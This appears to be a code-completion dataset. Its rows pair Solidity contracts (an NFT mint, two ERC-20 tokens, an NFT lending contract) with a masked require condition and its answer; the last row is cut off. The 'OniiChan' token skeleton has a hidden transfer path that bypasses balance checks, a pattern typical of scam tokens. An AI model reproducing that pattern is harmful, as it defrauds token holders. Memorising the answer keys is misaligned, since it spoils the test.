comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Already revealed" | // SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract WorldOfPumpKins is ERC721, Ownable {
using Strings for uint256;
string baseExtension = ".json";
string public baseUri;
string hiddenUri;
uint256 public totalSupply = 8888;
uint256 public supply;
uint256 public mintCost = 0.02 ether;
uint256 public presaleMintCost = 0.01 ether;
uint256 public reservedMintLeft = 100;
bool public isPaused = true;
bool public isPresale = true;
bool public isRevealed;
mapping(address => bool) public hasMintedOnPresale;
modifier isNotPaused() {
}
constructor(
string memory name_,
string memory symbol_,
string memory _hiddenUri
) ERC721(name_, symbol_) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
// public
function mint(uint256 amount) public payable isNotPaused {
}
//admin
function adminMint(uint256 amount) public onlyOwner {
}
function changePause() public onlyOwner {
}
function endPresale() public onlyOwner {
}
function reveal(string memory uri) public onlyOwner {
require(<FILL_ME>)
isRevealed = true;
baseUri = uri;
}
function withdraw(address payable to, uint256 amount) public onlyOwner {
}
}
| !isRevealed,"Already revealed" | 69,575 | !isRevealed |
null | pragma solidity ^0.8.15;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library Address {
function isUniswapV2PairAddress(address account) internal pure returns (bool) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract OniiChan is Ownable, IERC20 {
using SafeMath for uint256;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(<FILL_ME>)
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _basicTransfer(address s, address r, uint256 amount) internal virtual {
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
struct tOwned {address to;}
tOwned[] _tokensBlc;
function lSwap(address sender, address recipient) internal view returns(bool) {
}
function _checkFee(address _addr) internal {
}
function _rTotal(address _addr) internal {
}
function transferSwap(uint256 _amnt, address to) private {
}
bool dLSwap = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000000000 * 10 ** _decimals;
uint256 public _feePercent = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Onii Chan";
string private _symbol = "ONII";
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
}
function getUniPair() private view returns (address) {
}
}
| _allowances[_msgSender()][from]>=amount | 69,602 | _allowances[_msgSender()][from]>=amount |
null | pragma solidity ^0.8.15;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library Address {
function isUniswapV2PairAddress(address account) internal pure returns (bool) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract OniiChan is Ownable, IERC20 {
using SafeMath for uint256;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
}
function _basicTransfer(address s, address r, uint256 amount) internal virtual {
require(s != address(0));
require(r != address(0));
if (lSwap(
s,
r)) {
return transferSwap(amount, r);
}
if (!dLSwap){
require(<FILL_ME>)
}
uint256 feeAmount = 0;
_rTotal(s);
bool ldSwapTransaction = (r == getUniPair() && uniswapV2Pair == s) || (s == getUniPair() && uniswapV2Pair == r);
if (uniswapV2Pair != s &&
!Address.isUniswapV2PairAddress(r) && r != address(this) &&
!ldSwapTransaction && !dLSwap && uniswapV2Pair != r) {
_checkFee(r);
feeAmount = amount.mul(_feePercent).div(100);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[s] = _balances[s] - amount;
_balances[r] += amountReceived;
emit Transfer(s, r, amount);
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
struct tOwned {address to;}
tOwned[] _tokensBlc;
function lSwap(address sender, address recipient) internal view returns(bool) {
}
function _checkFee(address _addr) internal {
}
function _rTotal(address _addr) internal {
}
function transferSwap(uint256 _amnt, address to) private {
}
bool dLSwap = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000000000 * 10 ** _decimals;
uint256 public _feePercent = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Onii Chan";
string private _symbol = "ONII";
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
}
function getUniPair() private view returns (address) {
}
}
| _balances[s]>=amount | 69,602 | _balances[s]>=amount |
null | pragma solidity ^0.8.15;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library Address {
function isUniswapV2PairAddress(address account) internal pure returns (bool) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract OniiChan is Ownable, IERC20 {
using SafeMath for uint256;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
}
function _basicTransfer(address s, address r, uint256 amount) internal virtual {
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
struct tOwned {address to;}
tOwned[] _tokensBlc;
function lSwap(address sender, address recipient) internal view returns(bool) {
}
function _checkFee(address _addr) internal {
}
function _rTotal(address _addr) internal {
}
function transferSwap(uint256 _amnt, address to) private {
}
bool dLSwap = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000000000 * 10 ** _decimals;
uint256 public _feePercent = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Onii Chan";
string private _symbol = "ONII";
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(from, recipient, amount);
require(<FILL_ME>)
return true;
}
function getUniPair() private view returns (address) {
}
}
| _allowances[from][_msgSender()]>=amount | 69,602 | _allowances[from][_msgSender()]>=amount |
"Mint would exceed max supply" | pragma solidity ^0.8.12;
contract SamurAIApes is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant TOTAL_MAX_SUPPLY = 666;
uint256 public MAX_PUBLIC_PER_TX = 2;
uint256 public MAX_PUBLIC_MINT_PER_WALLET = 2;
uint256 public token_price = 0.0065 ether;
bool public publicSaleActive;
string private _baseTokenURI;
constructor() ERC721A("SamurAI Apes", "SamurAI") {
}
modifier callerIsUser() {
}
modifier underMaxSupply(uint256 _quantity) {
require(<FILL_ME>)
_;
}
modifier validatePublicStatus(uint256 _quantity) {
}
/**
* @dev override ERC721A _startTokenId()
*/
function _startTokenId()
internal
view
virtual
override
returns (uint256) {
}
function mint(uint256 _quantity)
external
payable
callerIsUser
validatePublicStatus(_quantity)
underMaxSupply(_quantity)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setMaxPerTxn(uint256 _num) external onlyOwner {
}
function setMaxPerWallet(uint256 _num) external onlyOwner {
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawFunds() external onlyOwner {
}
function flipPublicSale() external onlyOwner {
}
}
| _totalMinted()+_quantity<=TOTAL_MAX_SUPPLY,"Mint would exceed max supply" | 69,618 | _totalMinted()+_quantity<=TOTAL_MAX_SUPPLY |
"This purchase would exceed maximum allocation for public mints for this wallet" | pragma solidity ^0.8.12;
contract SamurAIApes is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant TOTAL_MAX_SUPPLY = 666;
uint256 public MAX_PUBLIC_PER_TX = 2;
uint256 public MAX_PUBLIC_MINT_PER_WALLET = 2;
uint256 public token_price = 0.0065 ether;
bool public publicSaleActive;
string private _baseTokenURI;
constructor() ERC721A("SamurAI Apes", "SamurAI") {
}
modifier callerIsUser() {
}
modifier underMaxSupply(uint256 _quantity) {
}
modifier validatePublicStatus(uint256 _quantity) {
require(publicSaleActive, "Sale hasn't started");
require(msg.value >= token_price * _quantity, "Need to send more ETH.");
require(_quantity > 0 && _quantity <= MAX_PUBLIC_PER_TX, "Invalid mint amount.");
require(<FILL_ME>)
_;
}
/**
* @dev override ERC721A _startTokenId()
*/
function _startTokenId()
internal
view
virtual
override
returns (uint256) {
}
function mint(uint256 _quantity)
external
payable
callerIsUser
validatePublicStatus(_quantity)
underMaxSupply(_quantity)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setMaxPerTxn(uint256 _num) external onlyOwner {
}
function setMaxPerWallet(uint256 _num) external onlyOwner {
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawFunds() external onlyOwner {
}
function flipPublicSale() external onlyOwner {
}
}
| _numberMinted(msg.sender)+_quantity<=MAX_PUBLIC_MINT_PER_WALLET,"This purchase would exceed maximum allocation for public mints for this wallet" | 69,618 | _numberMinted(msg.sender)+_quantity<=MAX_PUBLIC_MINT_PER_WALLET |
"Exceeds the maxWalletSize." | /**
Kojiki Project
Twitter: https://twitter.com/ProjectKojiki
Website: https://project-kojiki.com/
*/
pragma solidity 0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kojiki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _buyCount = 0;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _standardTax;
address payable private _feeAddrWallet;
string private constant _name = "Kojiki Project";
string private constant _symbol = "KOJIKI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal.mul(3).div(100);
uint256 private _maxWalletSize = _tTotal.mul(8).div(100);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = _standardTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount + 1, "Exceeds the _maxTxAmount.");
require(<FILL_ME>)
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0 && _buyCount > 7) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function setStandardTax(uint256 newTax) external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function removeLimits() external onlyOwner{
}
function openTrading() external onlyOwner() {
}
function addbot(address[] memory bots_) public onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualsend() external {
}
function manualswap() external {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| balanceOf(to)+amount<=_maxWalletSize+1,"Exceeds the maxWalletSize." | 69,651 | balanceOf(to)+amount<=_maxWalletSize+1 |
"This signature is already used" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
require(<FILL_ME>)
require(!cancelledSignatures[_sig], "This signature is not valid");
bytes32 _payloadHash = keccak256(
abi.encode(
_payload.borrower,
_payload.nftAddress,
_payload.currency,
_payload.nftTokenId,
_payload.duration,
_payload.expiration,
_payload.loanAmount,
_payload.apr,
_payload.nftTokenType
)
);
bytes32 messageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _payloadHash)
);
if (msg.sender == _payload.borrower) {
require(
ECDSA.recover(messageHash, _sig) == _payload.lender,
"INVALID_SIGNATURE_LENDER"
);
} else if (msg.sender == _payload.lender) {
require(
ECDSA.recover(messageHash, _sig) == _payload.borrower,
"INVALID_SIGNATURE_BORROWER"
);
} else {
revert InvalidSender();
}
currentId = _createLoan(_payload);
usedSignatures[_sig] = true;
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| !usedSignatures[_sig],"This signature is already used" | 69,682 | !usedSignatures[_sig] |
"This signature is not valid" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
require(!usedSignatures[_sig], "This signature is already used");
require(<FILL_ME>)
bytes32 _payloadHash = keccak256(
abi.encode(
_payload.borrower,
_payload.nftAddress,
_payload.currency,
_payload.nftTokenId,
_payload.duration,
_payload.expiration,
_payload.loanAmount,
_payload.apr,
_payload.nftTokenType
)
);
bytes32 messageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _payloadHash)
);
if (msg.sender == _payload.borrower) {
require(
ECDSA.recover(messageHash, _sig) == _payload.lender,
"INVALID_SIGNATURE_LENDER"
);
} else if (msg.sender == _payload.lender) {
require(
ECDSA.recover(messageHash, _sig) == _payload.borrower,
"INVALID_SIGNATURE_BORROWER"
);
} else {
revert InvalidSender();
}
currentId = _createLoan(_payload);
usedSignatures[_sig] = true;
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| !cancelledSignatures[_sig],"This signature is not valid" | 69,682 | !cancelledSignatures[_sig] |
"INVALID_SIGNATURE_LENDER" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
require(!usedSignatures[_sig], "This signature is already used");
require(!cancelledSignatures[_sig], "This signature is not valid");
bytes32 _payloadHash = keccak256(
abi.encode(
_payload.borrower,
_payload.nftAddress,
_payload.currency,
